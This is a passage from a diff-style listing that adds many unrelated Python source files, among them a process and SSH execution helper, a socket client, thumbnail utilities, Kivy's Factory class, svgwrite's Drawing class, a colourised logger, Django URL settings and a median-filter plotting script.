212
+
213
+ Returns an (out, err) tuple of strings containing the output of
214
+ the command's stdout and stderr. If 'err' is not empty then the
215
+ command can be considered to have failed.
216
+
217
+ :discard_warnings True | False. Defaults to False. If set to True,
218
+ then for succeeding commands, stderr is cleared
219
+
220
+ """
221
+ discard_warnings = kwargs.pop('discard_warnings', False)
222
+
223
+ try:
224
+ out, err = execute(*args, **kwargs)
225
+ failed = False
226
+ except ProcessExecutionError as exn:
227
+ out, err = '', str(exn)
228
+ failed = True
229
+
230
+ if not failed and discard_warnings and err:
231
+ # Handle commands that output to stderr but otherwise succeed
232
+ err = ''
233
+
234
+ return out, err
235
+
236
+
237
+ def ssh_execute(ssh, cmd, process_input=None,
238
+ addl_env=None, check_exit_code=True):
239
+ LOG.debug('Running cmd (SSH): %s', cmd)
240
+ if addl_env:
241
+ raise InvalidArgumentError(_('Environment not supported over SSH'))
242
+
243
+ if process_input:
244
+ # This is (probably) fixable if we need it...
245
+ raise InvalidArgumentError(_('process_input not supported over SSH'))
246
+
247
+ stdin_stream, stdout_stream, stderr_stream = ssh.exec_command(cmd)
248
+ channel = stdout_stream.channel
249
+
250
+ # NOTE(justinsb): This seems suspicious...
251
+ # ...other SSH clients have buffering issues with this approach
252
+ stdout = stdout_stream.read()
253
+ stderr = stderr_stream.read()
254
+ stdin_stream.close()
255
+
256
+ exit_status = channel.recv_exit_status()
257
+
258
+ # exit_status == -1 if no exit code was returned
259
+ if exit_status != -1:
260
+ LOG.debug('Result was %s' % exit_status)
261
+ if check_exit_code and exit_status != 0:
262
+ raise ProcessExecutionError(exit_code=exit_status,
263
+ stdout=stdout,
264
+ stderr=stderr,
265
+ cmd=cmd)
266
+
267
+ return (stdout, stderr)
pool/shard008/Python/0078831_client.py ADDED
@@ -0,0 +1,132 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # coding:utf-8
2
+
3
+ import socket
4
+ import threading
5
+
6
+ from message import Message
7
+ from handler import IHandler
8
+
9
+
10
+ class Client(threading.Thread):
11
+ """socket connection """
12
+
13
+ def __init__(self, host, port, handler):
14
+ """
15
+ host,port:连接信息
16
+ handler:消息处理器,接受两个个参数:client宿主对象,消息对象
17
+ """
18
+ threading.Thread.__init__(self)
19
+
20
+ self.host = host
21
+ self.port = port
22
+
23
+ if not issubclass(handler.__class__, IHandler):
24
+ raise Exception("[error]client parameter(handler) should be subclass of IHandler!!!")
25
+ self.handler = handler
26
+
27
+ self.sock = None
28
+
29
+ def is_connected(self):
30
+ """判断是否连接成功"""
31
+ if self.sock is None:
32
+ return False
33
+
34
+ # TODO:socket connection check
35
+
36
+ return True
37
+
38
+ def connect(self):
39
+ """连接"""
40
+ try:
41
+ if self.is_connected():
42
+ self.disconnect()
43
+
44
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45
+ # TODO:设置连接属性
46
+ sock.connect((self.host, self.port))
47
+ self.sock = sock
48
+ return True
49
+ except Exception, e:
50
+ print "[error]connect to server<", self.host, ':', self.port, '> failed.', e
51
+ self.sock = None
52
+ return False
53
+
54
+ def disconnect(self):
55
+ """断开连接"""
56
+ if self.is_connected():
57
+ self.sock.close()
58
+ self.sock = None
59
+
60
+ def send(self, proto_message):
61
+ """发送消息"""
62
+ if not self.is_connected():
63
+ print '[error]when send message,connection is not available.'
64
+ return
65
+
66
+ try:
67
+ self.sock.send(Message.pack(proto_message))
68
+ except Exception as e:
69
+ print '[error]when send message,exception:', e
70
+
71
+ def run(self):
72
+ """
73
+ 工作线程,接口并处理消息
74
+ """
75
+ # 连接服务器
76
+ if not self.is_connected():
77
+ if not self.connect():
78
+ print "[error]connect to server<", self.host, ':', self.port, '> failed.'
79
+ return
80
+
81
+ # 数据处理
82
+ while True:
83
+ # 接收数据
84
+ try:
85
+ message = Message()
86
+
87
+ header = self._read(message.get_message_header_length())
88
+ message.parse_message_header(header)
89
+
90
+ body_len = message.get_message_body_length()
91
+ if body_len > 0:
92
+ body = self._read(body_len)
93
+ message.parse_message_body(body)
94
+ else:
95
+ message.parse_message_body()
96
+ except Exception as e:
97
+ print '[error]client read data failed.', e
98
+ continue
99
+
100
+ # 处理消息
101
+ try:
102
+ message_body = message.get_message_body()
103
+ if message_body is None:
104
+ print '[error]message('+message.get_message_id()+") body is None!!!"
105
+ continue
106
+
107
+ self.handler.handle_message(message_body)
108
+ except Exception, e:
109
+ print '[error]handle message failed.', e
110
+ break
111
+
112
+ # 断开连接
113
+ self.sock.close()
114
+
115
+ def _read(self, size):
116
+ """读取指定大小数据"""
117
+ if size <= 0:
118
+ return None
119
+
120
+ data_list = []
121
+ data_len = 0
122
+ while data_len < size:
123
+ data = self.sock.recv(size - data_len)
124
+ if len(data) == 0:
125
+ raise Exception("receive 0 data")
126
+ else:
127
+ data_list.append(data)
128
+ data_len += len(data)
129
+ if len(data_list) > 0:
130
+ return ''.join(data_list)
131
+ else:
132
+ return None
pool/shard008/Python/0078832_thumbnails.py ADDED
@@ -0,0 +1,67 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import Image
2
+ import base64
3
+ import StringIO
4
+ from wand.image import Image as WandImage
5
+ from wand.color import Color
6
+
7
+
8
+ def _open_image(filename):
9
+ try:
10
+ im = Image.open(filename)
11
+ except IOError, e:
12
+ im = None
13
+ return im
14
+
15
+
16
+ def get_thumbnail_size(height, width, max_height, max_width):
17
+ if (width / max_width) > (height / max_height):
18
+ s = float(max_height) / float(height)
19
+ tw = int(float(width) * s)
20
+ th = int(float(height) * s)
21
+ else:
22
+ s = float(max_width) / float(width)
23
+ tw = int(float(width) * s)
24
+ th = int(float(height) * s)
25
+ return tw, th
26
+
27
+
28
+ def pil_make_thumbnail(im, max_height, max_width):
29
+ width = im.size[0]
30
+ height = im.size[1]
31
+ tw, th = get_thumbnail_size(height, width, max_height, max_width)
32
+
33
+ return im.resize((tw, th), Image.ANTIALIAS)
34
+
35
+
36
+ def _pdf_thumbnail(filename):
37
+ img = WandImage(filename=filename + '[0]')
38
+ img.background_color = Color('white')
39
+ tw, th = get_thumbnail_size(img.height, img.width, 50, 50)
40
+ img.resize(tw, th)
41
+ rawData = img.make_blob('jpeg')
42
+ return base64.b64encode(rawData)
43
+
44
+
45
+ def _image_thumbnail(filename):
46
+ im = _open_image(filename)
47
+
48
+ if im:
49
+ width = im.size[0]
50
+ height = im.size[1]
51
+
52
+ im5 = pil_make_thumbnail(im, 50, 50)
53
+
54
+ io = StringIO.StringIO()
55
+ im5.save(io, 'jpeg')
56
+ rawData = io.getvalue()
57
+
58
+ return base64.b64encode(rawData)
59
+ return None
60
+
61
+
62
+ def get_thumbnail(filename, field_name='value', mimetype=None):
63
+ if mimetype and 'pdf' in mimetype:
64
+ rv = {field_name: _pdf_thumbnail(filename)}
65
+ else:
66
+ rv = {field_name: _image_thumbnail(filename)}
67
+ return rv
pool/shard008/Python/0078837_zinc_analysis.py ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # coding=utf-8
2
+ # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
3
+ # Licensed under the Apache License, Version 2.0 (see LICENSE).
4
+
5
+ from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
6
+ unicode_literals, with_statement)
7
+
8
+ import os
9
+
10
+ import six
11
+ from zincutils.zinc_analysis import ZincAnalysis as UnderlyingAnalysis
12
+
13
+ from pants.backend.jvm.tasks.jvm_compile.analysis import Analysis
14
+ from pants.base.build_environment import get_buildroot
15
+
16
+
17
+ class ZincAnalysis(Analysis):
18
+ """Parsed representation of a zinc analysis.
19
+
20
+ Implemented by delegating to an underlying zincutils.ZincAnalysis instance.
21
+
22
+ Note also that all files in keys/values are full-path, just as they appear in the analysis file.
23
+ If you want paths relative to the build root or the classes dir or whatever, you must compute
24
+ those yourself.
25
+
26
+ zincutils code is at https://github.com/pantsbuild/zincutils.
27
+ See its README on how to publish it.
28
+
29
+ To run a dev pants against zincutils sources, without having to publish, just add its root dir
30
+ to your PYTHONPATH, e.g.:
31
+
32
+ PYTHONPATH=/path/to/zincutils/ \
33
+ ./pants test tests/python/pants_test/backend/jvm/tasks/jvm_compile/scala:zinc_analysis
34
+ """
35
+
36
+ FORMAT_VERSION_LINE = UnderlyingAnalysis.FORMAT_VERSION_LINE
37
+
38
+ @classmethod
39
+ def merge(cls, analyses):
40
+ return ZincAnalysis(UnderlyingAnalysis.merge([a._underlying_analysis for a in analyses]))
41
+
42
+ def __init__(self, underlying_analysis):
43
+ self._underlying_analysis = underlying_analysis
44
+
45
+ @property
46
+ def underlying_analysis(self):
47
+ return self._underlying_analysis
48
+
49
+ def sources(self):
50
+ return self._underlying_analysis.sources()
51
+
52
+ def split(self, splits, catchall=False):
53
+ buildroot = get_buildroot()
54
+ abs_splits = [set([s if os.path.isabs(s) else os.path.join(buildroot, s) for s in x])
55
+ for x in splits]
56
+ return [ZincAnalysis(s) for s in self.underlying_analysis.split(abs_splits, catchall)]
57
+
58
+ def write(self, outfile):
59
+ self.underlying_analysis.write(outfile)
60
+
61
+ def diff(self, other):
62
+ return self.underlying_analysis.diff(other.underlying_analysis)
63
+
64
+ def __eq__(self, other):
65
+ if other is None:
66
+ return False
67
+ return self.underlying_analysis == other.underlying_analysis
68
+
69
+ def __ne__(self, other):
70
+ return not self.__eq__(other)
71
+
72
+ def __hash__(self):
73
+ return hash(self.underlying_analysis)
74
+
75
+ def __str__(self):
76
+ return str(self.underlying_analysis)
77
+
78
+ def __unicode__(self):
79
+ return six.text_type(self.underlying_analysis)
pool/shard008/Python/0078842_factory.py ADDED
@@ -0,0 +1,170 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ '''
2
+ Factory object
3
+ ==============
4
+
5
+ The factory can be used to automatically register any class or module
6
+ and instantiate classes from it anywhere in your project. It is an
7
+ implementation of the
8
+ `Factory Pattern <http://en.wikipedia.org/wiki/Factory_pattern>`_.
9
+
10
+ The class list and available modules are automatically generated by setup.py.
11
+
12
+ Example for registering a class/module::
13
+
14
+ >>> from kivy.factory import Factory
15
+ >>> Factory.register('Widget', module='kivy.uix.widget')
16
+ >>> Factory.register('Vector', module='kivy.vector')
17
+
18
+ Example of using the Factory::
19
+
20
+ >>> from kivy.factory import Factory
21
+ >>> widget = Factory.Widget(pos=(456,456))
22
+ >>> vector = Factory.Vector(9, 2)
23
+
24
+ Example using a class name::
25
+
26
+ >>> from kivy.factory import Factory
27
+ >>> Factory.register('MyWidget', cls=MyWidget)
28
+
29
+ By default, the first classname you register via the factory is permanent.
30
+ If you wish to change the registered class, you need to unregister the
31
+ classname before you re-assign it::
32
+
33
+ >>> from kivy.factory import Factory
34
+ >>> Factory.register('MyWidget', cls=MyWidget)
35
+ >>> widget = Factory.MyWidget()
36
+ >>> Factory.unregister('MyWidget')
37
+ >>> Factory.register('MyWidget', cls=CustomWidget)
38
+ >>> customWidget = Factory.MyWidget()
39
+ '''
40
+
41
+ __all__ = ('Factory', 'FactoryException')
42
+
43
+ from kivy.logger import Logger
44
+
45
+
46
+ class FactoryException(Exception):
47
+ pass
48
+
49
+
50
+ class FactoryBase(object):
51
+
52
+ def __init__(self):
53
+ super(FactoryBase, self).__init__()
54
+ self.classes = {}
55
+
56
+ def is_template(self, classname):
57
+ '''Return True if the classname is a template from the
58
+ :class:`~kivy.lang.Builder`.
59
+
60
+ .. versionadded:: 1.0.5
61
+ '''
62
+ if classname in self.classes:
63
+ return self.classes[classname]['is_template']
64
+ else:
65
+ return False
66
+
67
+ def register(self, classname, cls=None, module=None, is_template=False,
68
+ baseclasses=None, filename=None, warn=False):
69
+ '''Register a new classname referring to a real class or
70
+ class definition in a module. Warn, if True will emit a warning message
71
+ when a class is re-declared.
72
+
73
+ .. versionchanged:: 1.9.0
74
+ `warn` was added.
75
+
76
+ .. versionchanged:: 1.7.0
77
+ :attr:`baseclasses` and :attr:`filename` added
78
+
79
+ .. versionchanged:: 1.0.5
80
+ :attr:`is_template` has been added in 1.0.5.
81
+ '''
82
+ if cls is None and module is None and baseclasses is None:
83
+ raise ValueError(
84
+ 'You must specify either cls= or module= or baseclasses =')
85
+ if classname in self.classes:
86
+ if warn:
87
+ info = self.classes[classname]
88
+ Logger.warning('Factory: Ignored class "{}" re-declaration. '
89
+ 'Current - module: {}, cls: {}, baseclass: {}, filename: {}. '
90
+ 'Ignored - module: {}, cls: {}, baseclass: {}, filename: {}.'.
91
+ format(classname, info['module'], info['cls'],
92
+ info['baseclasses'], info['filename'], module, cls,
93
+ baseclasses, filename))
94
+ return
95
+ self.classes[classname] = {
96
+ 'module': module,
97
+ 'cls': cls,
98
+ 'is_template': is_template,
99
+ 'baseclasses': baseclasses,
100
+ 'filename': filename}
101
+
102
+ def unregister(self, *classnames):
103
+ '''Unregisters the classnames previously registered via the
104
+ register method. This allows the same classnames to be re-used in
105
+ different contexts.
106
+
107
+ .. versionadded:: 1.7.1
108
+ '''
109
+ for classname in classnames:
110
+ if classname in self.classes:
111
+ self.classes.pop(classname)
112
+
113
+ def unregister_from_filename(self, filename):
114
+ '''Unregister all the factory objects related to the filename passed in
115
+ the parameter.
116
+
117
+ .. versionadded:: 1.7.0
118
+ '''
119
+ to_remove = [x for x in self.classes
120
+ if self.classes[x]['filename'] == filename]
121
+ for name in to_remove:
122
+ del self.classes[name]
123
+
124
+ def __getattr__(self, name):
125
+ classes = self.classes
126
+ if name not in classes:
127
+ if name[0] == name[0].lower():
128
+ # if trying to access attributes like checking for `bind`
129
+ # then raise AttributeError
130
+ raise AttributeError
131
+ raise FactoryException('Unknown class <%s>' % name)
132
+
133
+ item = classes[name]
134
+ cls = item['cls']
135
+
136
+ # No class to return, import the module
137
+ if cls is None:
138
+ if item['module']:
139
+ module = __import__(name=item['module'], fromlist='.')
140
+ if not hasattr(module, name):
141
+ raise FactoryException(
142
+ 'No class named <%s> in module <%s>' % (
143
+ name, item['module']))
144
+ cls = item['cls'] = getattr(module, name)
145
+
146
+ elif item['baseclasses']:
147
+ rootwidgets = []
148
+ for basecls in item['baseclasses'].split('+'):
149
+ rootwidgets.append(Factory.get(basecls))
150
+ cls = item['cls'] = type(str(name), tuple(rootwidgets), {})
151
+
152
+ else:
153
+ raise FactoryException('No information to create the class')
154
+
155
+ return cls
156
+
157
+ get = __getattr__
158
+
159
+
160
+ #: Factory instance to use for getting new classes
161
+ Factory = FactoryBase()
162
+
163
+ # Now import the file with all registers
164
+ # automatically generated by build_factory
165
+ import kivy.factory_registers # NOQA
166
+ Logger.info('Factory: %d symbols loaded' % len(Factory.classes))
167
+
168
+ if __name__ == '__main__':
169
+ Factory.register('Vector', module='kivy.vector')
170
+ Factory.register('Widget', module='kivy.uix.widget')
pool/shard008/Python/0078844_createPythonInit.py ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import sys
3
+
4
+ pkgRelDir = sys.argv[1]
5
+ pkgFiles = sys.argv[2:]
6
+
7
+ getFileName = lambda f: os.path.splitext(os.path.basename(f))[0]
8
+ importNames = ', '.join('"{}"'.format(getFileName(f)) for f in pkgFiles)
9
+
10
+ script = """__all__ = [{import_names}]
11
+ for x in __all__:
12
+ __import__('lldb.{pkg_name}.' + x)
13
+ """.format(import_names=importNames, pkg_name=pkgRelDir.replace("/", "."))
14
+
15
+ pkgIniFile = os.path.normpath(os.path.join(pkgRelDir, "__init__.py"))
16
+ with open(pkgIniFile, "w") as f:
17
+ f.write(script)
pool/shard008/Python/0078845_drawing.py ADDED
@@ -0,0 +1,120 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ #coding:utf-8
3
+ # Author: mozman
4
+ # Purpose: drawing
5
+ # Created: 10.09.2010
6
+ # Copyright (C) 2010, Manfred Moitzi
7
+ # License: MIT License
8
+ """
9
+ The *Drawing* object is the overall container for all SVG
10
+ elements. It provides the methods to store the drawing into a file or a
11
+ file-like object. If you want to use stylesheets, the reference links
12
+ to this stylesheets were also stored (`add_stylesheet`)
13
+ in the *Drawing* object.
14
+
15
+ set/get SVG attributes::
16
+
17
+ element['attribute'] = value
18
+ value = element['attribute']
19
+
20
+ The Drawing object also includes a defs section, add elements to the defs
21
+ section by::
22
+
23
+ drawing.defs.add(element)
24
+
25
+ """
26
+ from __future__ import unicode_literals
27
+ import io
28
+
29
+ from svgwrite.container import SVG, Defs
30
+ from svgwrite.elementfactory import ElementFactory
31
+
32
+
33
+ class Drawing(SVG, ElementFactory):
34
+ """ This is the SVG drawing represented by the top level *svg* element.
35
+
36
+ A drawing consists of any number of SVG elements contained within the drawing
37
+ element, stored in the *elements* attribute.
38
+
39
+ A drawing can range from an empty drawing (i.e., no content inside of the drawing),
40
+ to a very simple drawing containing a single SVG element such as a *rect*,
41
+ to a complex, deeply nested collection of container elements and graphics elements.
42
+ """
43
+ def __init__(self, filename="noname.svg", size=('100%', '100%'), **extra):
44
+ """
45
+ :param string filename: filesystem filename valid for :func:`open`
46
+ :param 2-tuple size: width, height
47
+ :param keywords extra: additional svg-attributes for the *SVG* object
48
+
49
+ Important (and not SVG Attributes) **extra** parameters:
50
+
51
+ :param string profile: ``'tiny | full'`` - define the SVG baseProfile
52
+ :param bool debug: switch validation on/off
53
+
54
+ """
55
+ super(Drawing, self).__init__(size=size, **extra)
56
+ self.filename = filename
57
+ self._stylesheets = [] # list of stylesheets appended
58
+
59
+ def get_xml(self):
60
+ """ Get the XML representation as `ElementTree` object.
61
+
62
+ :return: XML `ElementTree` of this object and all its subelements
63
+
64
+ """
65
+ profile = self.profile
66
+ version = self.version
67
+ self.attribs['xmlns'] = "http://www.w3.org/2000/svg"
68
+ self.attribs['xmlns:xlink'] = "http://www.w3.org/1999/xlink"
69
+ self.attribs['xmlns:ev'] = "http://www.w3.org/2001/xml-events"
70
+
71
+ self.attribs['baseProfile'] = profile
72
+ self.attribs['version'] = version
73
+ return super(Drawing, self).get_xml()
74
+
75
+ def add_stylesheet(self, href, title, alternate="no", media="screen"):
76
+ """ Add a stylesheet reference.
77
+
78
+ :param string href: link to stylesheet <URI>
79
+ :param string title: name of stylesheet
80
+ :param string alternate: ``'yes'|'no'``
81
+ :param string media: ``'all | aureal | braille | embossed | handheld | print | projection | screen | tty | tv'``
82
+
83
+ """
84
+ self._stylesheets.append( (href, title, alternate, media) )
85
+
86
+ def write(self, fileobj):
87
+ """ Write XML string to **fileobj**.
88
+
89
+ :param fileobj: a *file-like* object
90
+
91
+ Python 3.x - set encoding at the open command::
92
+
93
+ open('filename', 'w', encoding='utf-8')
94
+ """
95
+ # write xml header
96
+ fileobj.write('<?xml version="1.0" encoding="utf-8" ?>\n')
97
+
98
+ # don't use DOCTYPE. It's useless. see also:
99
+ # http://tech.groups.yahoo.com/group/svg-developers/message/48562
100
+ # write stylesheets
101
+ stylesheet_template = '<?xml-stylesheet href="%s" type="text/css" ' \
102
+ 'title="%s" alternate="%s" media="%s"?>\n'
103
+ # removed map(), does not work with Python 3
104
+ for stylesheet in self._stylesheets:
105
+ fileobj.write(stylesheet_template % stylesheet)
106
+ fileobj.write(self.tostring())
107
+
108
+ def save(self):
109
+ """ Write the XML string to **filename**. """
110
+ fileobj = io.open(self.filename, mode='w', encoding='utf-8')
111
+ self.write(fileobj)
112
+ fileobj.close()
113
+
114
+ def saveas(self, filename):
115
+ """ Write the XML string to **filename**.
116
+
117
+ :param string filename: filesystem filename valid for :func:`open`
118
+ """
119
+ self.filename = filename
120
+ self.save()
pool/shard008/Python/0078846_Logger.py ADDED
@@ -0,0 +1,100 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ #+---------------------------------------------------------------------------+
3
+ #| |
4
+ #| Android's Hooker |
5
+ #| |
6
+ #+---------------------------------------------------------------------------+
7
+ #| Copyright (C) 2011 Georges Bossert and Dimitri Kirchner |
8
+ #| This program is free software: you can redistribute it and/or modify |
9
+ #| it under the terms of the GNU General Public License as published by |
10
+ #| the Free Software Foundation, either version 3 of the License, or |
11
+ #| (at your option) any later version. |
12
+ #| |
13
+ #| This program is distributed in the hope that it will be useful, |
14
+ #| but WITHOUT ANY WARRANTY; without even the implied warranty of |
15
+ #| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
16
+ #| GNU General Public License for more details. |
17
+ #| |
18
+ #| You should have received a copy of the GNU General Public License |
19
+ #| along with this program. If not, see <http://www.gnu.org/licenses/>. |
20
+ #+---------------------------------------------------------------------------+
21
+ #| @url : http://www.amossys.fr |
22
+ #| @contact : android-hooker@amossys.fr |
23
+ #| @sponsors : Amossys, http://www.amossys.fr |
24
+ #+---------------------------------------------------------------------------+
25
+
26
+ #+---------------------------------------------------------------------------+
27
+ #| Standard library imports
28
+ #+---------------------------------------------------------------------------+
29
+ from logging import StreamHandler, DEBUG, getLogger as realGetLogger, Formatter
30
+
31
+ try:
32
+ from colorama import Fore, Back, Style
33
+
34
+ class ColourStreamHandler(StreamHandler):
35
+ """ A colorized output SteamHandler """
36
+
37
+ # Some basic colour scheme defaults
38
+ colours = {
39
+ 'DEBUG' : Fore.CYAN,
40
+ 'INFO' : Fore.GREEN,
41
+ 'WARN' : Fore.YELLOW,
42
+ 'WARNING': Fore.YELLOW,
43
+ 'ERROR': Fore.RED,
44
+ 'CRIT' : Back.RED + Fore.WHITE,
45
+ 'CRITICAL' : Back.RED + Fore.WHITE
46
+ }
47
+
48
+ @property
49
+ def is_tty(self):
50
+ """ Check if we are using a "real" TTY. If we are not using a TTY it means that
51
+ the colour output should be disabled.
52
+
53
+ :return: Using a TTY status
54
+ :rtype: bool
55
+ """
56
+ try: return getattr(self.stream, 'isatty', None)()
57
+ except: return False
58
+
59
+ def emit(self, record):
60
+ try:
61
+ message = self.format(record)
62
+
63
+ if not self.is_tty:
64
+ self.stream.write(message)
65
+ else:
66
+ self.stream.write(self.colours[record.levelname] + message + Style.RESET_ALL)
67
+ self.stream.write(getattr(self, 'terminator', '\n'))
68
+ self.flush()
69
+ except (KeyboardInterrupt, SystemExit):
70
+ raise
71
+ except:
72
+ self.handleError(record)
73
+
74
+ has_colour = True
75
+ except Exception, e:
76
+ print "ERRROR: "+str(e)
77
+ has_colour = False
78
+
79
+ def getLogger(name=None, fmt='[%(processName)s/%(filename)s:%(lineno)s/%(levelname)s] %(relativeCreated)d: %(message)s'):
80
+ """ Get and initialize a colourised logging instance if the system supports
81
+ it as defined by the log.has_colour
82
+
83
+ :param name: Name of the logger
84
+ :type name: str
85
+ :param fmt: Message format to use
86
+ :type fmt: str
87
+ :return: Logger instance
88
+ :rtype: Logger
89
+ """
90
+
91
+ log = realGetLogger(name)
92
+ if not len(log.handlers):
93
+ # Only enable colour if support was loaded properly
94
+ handler = ColourStreamHandler() if has_colour else StreamHandler()
95
+ handler.setLevel(DEBUG)
96
+ handler.setFormatter(Formatter(fmt))
97
+ log.addHandler(handler)
98
+ log.setLevel(DEBUG)
99
+ log.propagate = False
100
+ return log
pool/shard008/Python/0078847_spidermonkify.py ADDED
@@ -0,0 +1,69 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #! /usr/bin/env python
2
+
3
+ # Copyright 2016 WebAssembly Community Group participants
4
+ #
5
+ # Licensed under the Apache License, Version 2.0 (the "License");
6
+ # you may not use this file except in compliance with the License.
7
+ # You may obtain a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing, software
12
+ # distributed under the License is distributed on an "AS IS" BASIS,
13
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14
+ # See the License for the specific language governing permissions and
15
+ # limitations under the License.
16
+
17
+ '''
18
+ A bunch of hackish fixups for testing of SpiderMonkey support. We should
19
+ get rid of these ASAP.
20
+
21
+ This is meant to be run using BINARYEN_SCRIPTS in emcc, and not standalone.
22
+ '''
23
+
24
+ import os
25
+ import shutil
26
+ import subprocess
27
+ import sys
28
+
29
+ import emscripten
30
+
31
+ binaryen_root = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))
32
+
33
+ js_target = sys.argv[1]
34
+ wast_target = sys.argv[2]
35
+
36
+ wasm_target = wast_target[:-5] + '.wasm'
37
+
38
+ base_wast_target = os.path.basename(wast_target)
39
+ base_wasm_target = os.path.basename(wasm_target)
40
+
41
+
42
+ def fix(js, before, after):
43
+ assert js.count(before) == 1
44
+ return js.replace(before, after)
45
+
46
+ # fix up js
47
+ js = open(js_target).read()
48
+ # use the wasm, not wast
49
+ js = js.replace('"' + base_wast_target + '"', '"' + base_wasm_target + '"')
50
+ js = js.replace("'" + base_wast_target + "'", "'" + base_wasm_target + "'")
51
+ open(js_target, 'w').write(js)
52
+ shutil.copyfile(wast_target + '.mappedGlobals', wasm_target + '.mappedGlobals')
53
+
54
+ # convert to binary using spidermonkey
55
+ '''
56
+ using something like
57
+ mozjs -e 'os.file.writeTypedArrayToFile("moz.wasm",
58
+ new Uint8Array(wasmTextToBinary(os.file.readFile("test/hello_world.wast"))))'
59
+ investigate with
60
+ >>> map(chr, map(ord, open('moz.wasm').read()))
61
+ or
62
+ python -c "print str(map(chr,map(ord,
63
+ open('a.out.wasm').read()))).replace(',', '\n')"
64
+ '''
65
+ subprocess.check_call(
66
+ emscripten.shared.SPIDERMONKEY_ENGINE +
67
+ ['-e', 'os.file.writeTypedArrayToFile("' + wasm_target +
68
+ '", new Uint8Array(wasmTextToBinary(os.file.readFile("' +
69
+ wast_target + '"))))'])
pool/shard008/Python/0078851_urls.py ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from django.conf.urls.defaults import *
2
+ from django.contrib import admin
3
+ from django.conf import settings
4
+
5
+ admin.autodiscover()
6
+ urlpatterns = patterns('',
7
+ (r'^admin/(.*)', admin.site.root),
8
+ (r'^', include('blangoblog.blango.urls')),
9
+ )
10
+
11
+ handler500 = 'blango.views.server_error'
12
+ handler404 = 'blango.views.page_not_found'
13
+
14
+ if settings.DEBUG:
15
+ from os.path import abspath, dirname, join
16
+ PROJECT_DIR = dirname(abspath(__file__))
17
+ urlpatterns += patterns('',
18
+ (r'^%s(?P<path>.*)$' % settings.MEDIA_URL[1:], 'django.views.static.serve', {'document_root': join(PROJECT_DIR, 'media')}),
19
+ )
pool/shard008/Python/0078855_medianfilter.py ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import matplotlib.pyplot as plt
2
+ import pandas as pd
3
+ import sys
4
+
5
+
6
+ acc = pd.read_csv(sys.argv[1], sep='\t', index_col=0)
7
+ acc['X_filtered'] = pd.rolling_median(acc['X'], 3)
8
+ acc['freno'] = (acc['X'] - acc['X_filtered']) < -60
9
+
10
+ plt.figure(1)
11
+ sensorplot = plt.subplot(311)
12
+ plt.plot(
13
+ acc.index / 1000, acc['X'],
14
+ # acc.index / 1000, acc['Y'],
15
+ # acc.index / 1000, acc['Z'],
16
+ linewidth=2)
17
+
18
